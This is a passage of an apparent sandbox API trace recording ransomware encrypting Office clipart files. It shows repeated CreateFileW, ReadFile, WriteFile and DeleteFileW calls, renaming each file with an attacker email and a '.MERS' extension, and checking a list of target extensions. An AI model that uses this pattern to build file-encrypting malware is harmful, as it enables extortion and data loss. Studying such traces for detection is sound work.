dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.626] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0270.626] GetLastError () returned 0x0 [0270.626] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x4354, lpOverlapped=0x0) returned 1 [0270.693] WriteFile (in: hFile=0x410, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x4360, lpOverlapped=0x0) returned 1 [0270.694] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.694] WriteFile (in: hFile=0x410, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.694] SetEndOfFile (hFile=0x410) returned 1 [0270.694] CloseHandle (hObject=0x410) returned 1 [0270.694] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.694] SetEndOfFile (hFile=0x3c8) returned 1 [0270.698] CloseHandle (hObject=0x3c8) returned 1 [0270.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0270.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0270.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0270.699] lstrlenW (lpString=".doc") returned 4 [0270.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString=".docx") returned 5 [0270.699] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.699] lstrlenW (lpString=".pdf") returned 4 [0270.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString=".xls") returned 4 [0270.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.699] lstrlenW (lpString=".xlsx") returned 5 [0270.699] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.699] lstrlenW (lpString=".ppt") returned 4 [0270.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0270.699] lstrlenW (lpString=".zip") returned 4 [0270.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.699] lstrlenW (lpString=".rar") returned 4 [0270.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString=".bz2") returned 4 [0270.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString=".7z") returned 3 [0270.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0270.699] lstrlenW (lpString=".dbf") returned 4 [0270.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0270.699] lstrlenW (lpString=".1cd") returned 4 [0270.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0270.699] lstrlenW (lpString=".jpg") returned 4 [0270.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0270.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0270.699] lstrlenW (lpString=".doc") returned 4 [0270.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.700] lstrlenW (lpString=".docx") returned 5 [0270.700] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.700] lstrlenW (lpString=".pdf") returned 4 [0270.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.700] lstrlenW (lpString=".xls") returned 4 [0270.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.700] lstrlenW (lpString=".xlsx") returned 5 [0270.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.700] lstrlenW (lpString=".ppt") returned 4 [0270.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0270.700] lstrlenW (lpString=".zip") returned 4 [0270.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.700] lstrlenW (lpString=".rar") returned 4 [0270.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.700] lstrlenW (lpString=".bz2") returned 4 [0270.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.700] lstrlenW (lpString=".7z") returned 3 [0270.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0270.700] lstrlenW (lpString=".dbf") returned 4 [0270.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0270.700] lstrlenW (lpString=".1cd") returned 4 [0270.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0270.700] lstrlenW (lpString=".jpg") returned 4 [0270.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.700] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.700] lstrlenW (lpString="BD07804_.WMF") returned 12 [0270.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0270.701] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=4924) returned 1 [0270.701] CloseHandle (hObject=0x3c8) returned 1 [0270.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0270.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0270.701] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.701] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0270.701] GetLastError () returned 0x0 [0270.701] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x133c, lpOverlapped=0x0) returned 1 [0270.768] WriteFile (in: hFile=0x410, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x1340, lpOverlapped=0x0) returned 1 [0270.768] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.768] WriteFile (in: hFile=0x410, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.769] SetEndOfFile (hFile=0x410) returned 1 [0270.769] CloseHandle (hObject=0x410) returned 1 [0270.769] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.769] SetEndOfFile (hFile=0x3c8) returned 1 [0270.771] CloseHandle (hObject=0x3c8) returned 1 [0270.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0270.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0270.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0270.771] lstrlenW (lpString=".doc") returned 4 [0270.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.771] lstrlenW (lpString=".docx") returned 5 [0270.771] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.771] lstrlenW (lpString=".pdf") returned 4 [0270.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.771] lstrlenW (lpString=".xls") returned 4 [0270.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.772] lstrlenW (lpString=".xlsx") returned 5 [0270.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.772] lstrlenW (lpString=".ppt") returned 4 [0270.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0270.772] lstrlenW (lpString=".zip") returned 4 [0270.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.772] lstrlenW (lpString=".rar") returned 4 [0270.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.772] lstrlenW (lpString=".bz2") returned 4 [0270.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.772] lstrlenW (lpString=".7z") returned 3 [0270.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0270.772] lstrlenW (lpString=".dbf") returned 4 [0270.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0270.772] lstrlenW (lpString=".1cd") returned 4 [0270.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0270.772] lstrlenW (lpString=".jpg") returned 4 [0270.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0270.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0270.772] lstrlenW (lpString=".doc") returned 4 [0270.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.772] lstrlenW (lpString=".docx") returned 5 [0270.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.772] lstrlenW (lpString=".pdf") returned 4 [0270.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.772] lstrlenW (lpString=".xls") returned 4 [0270.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.772] lstrlenW (lpString=".xlsx") returned 5 [0270.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.772] lstrlenW (lpString=".ppt") returned 4 [0270.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0270.773] lstrlenW (lpString=".zip") returned 4 [0270.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.773] lstrlenW (lpString=".rar") returned 4 [0270.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.773] lstrlenW (lpString=".bz2") returned 4 [0270.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.773] lstrlenW (lpString=".7z") returned 3 [0270.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0270.773] lstrlenW (lpString=".dbf") returned 4 [0270.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0270.773] lstrlenW (lpString=".1cd") returned 4 [0270.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0270.773] lstrlenW (lpString=".jpg") returned 4 [0270.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.773] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.773] lstrlenW (lpString="BD08773_.WMF") returned 12 [0270.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0270.773] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=24778) returned 1 [0270.773] CloseHandle (hObject=0x3c8) returned 1 [0270.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0270.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0270.774] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.774] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0270.774] GetLastError () returned 0x0 [0270.774] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x60ca, lpOverlapped=0x0) returned 1 [0270.806] WriteFile (in: hFile=0x410, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x60d0, lpOverlapped=0x0) returned 1 [0270.807] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.807] WriteFile (in: hFile=0x410, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.807] SetEndOfFile (hFile=0x410) returned 1 [0270.807] CloseHandle (hObject=0x410) returned 1 [0270.807] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.807] SetEndOfFile (hFile=0x3c8) returned 1 [0270.810] CloseHandle (hObject=0x3c8) returned 1 [0270.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0270.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0270.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0270.928] lstrlenW (lpString=".doc") returned 4 [0270.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.928] lstrlenW (lpString=".docx") returned 5 [0270.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.928] lstrlenW (lpString=".pdf") returned 4 [0270.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.928] lstrlenW (lpString=".xls") returned 4 [0270.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.928] lstrlenW (lpString=".xlsx") returned 5 [0270.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.928] lstrlenW (lpString=".ppt") returned 4 [0270.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0270.928] lstrlenW (lpString=".zip") returned 4 [0270.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.928] lstrlenW (lpString=".rar") returned 4 [0270.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.928] lstrlenW (lpString=".bz2") returned 4 [0270.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.928] lstrlenW (lpString=".7z") returned 3 [0270.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0270.928] lstrlenW (lpString=".dbf") returned 4 [0270.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0270.928] lstrlenW (lpString=".1cd") returned 4 [0270.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0270.929] lstrlenW (lpString=".jpg") returned 4 [0270.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0270.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0270.929] lstrlenW (lpString=".doc") returned 4 [0270.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.929] lstrlenW (lpString=".docx") returned 5 [0270.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.929] lstrlenW (lpString=".pdf") returned 4 [0270.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.929] lstrlenW (lpString=".xls") returned 4 [0270.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.929] lstrlenW (lpString=".xlsx") returned 5 [0270.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.929] lstrlenW (lpString=".ppt") returned 4 [0270.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0270.929] lstrlenW (lpString=".zip") returned 4 [0270.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.929] lstrlenW (lpString=".rar") returned 4 [0270.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.929] lstrlenW (lpString=".bz2") returned 4 [0270.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.929] lstrlenW (lpString=".7z") returned 3 [0270.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0270.929] lstrlenW (lpString=".dbf") returned 4 [0270.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0270.930] lstrlenW (lpString=".1cd") returned 4 [0270.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0270.930] lstrlenW (lpString=".jpg") returned 4 [0270.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.930] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.930] lstrlenW (lpString="BD08868_.WMF") returned 12 [0270.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.930] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=40206) returned 1 [0270.930] CloseHandle (hObject=0x3b4) returned 1 [0270.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0270.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.931] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.931] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0270.931] 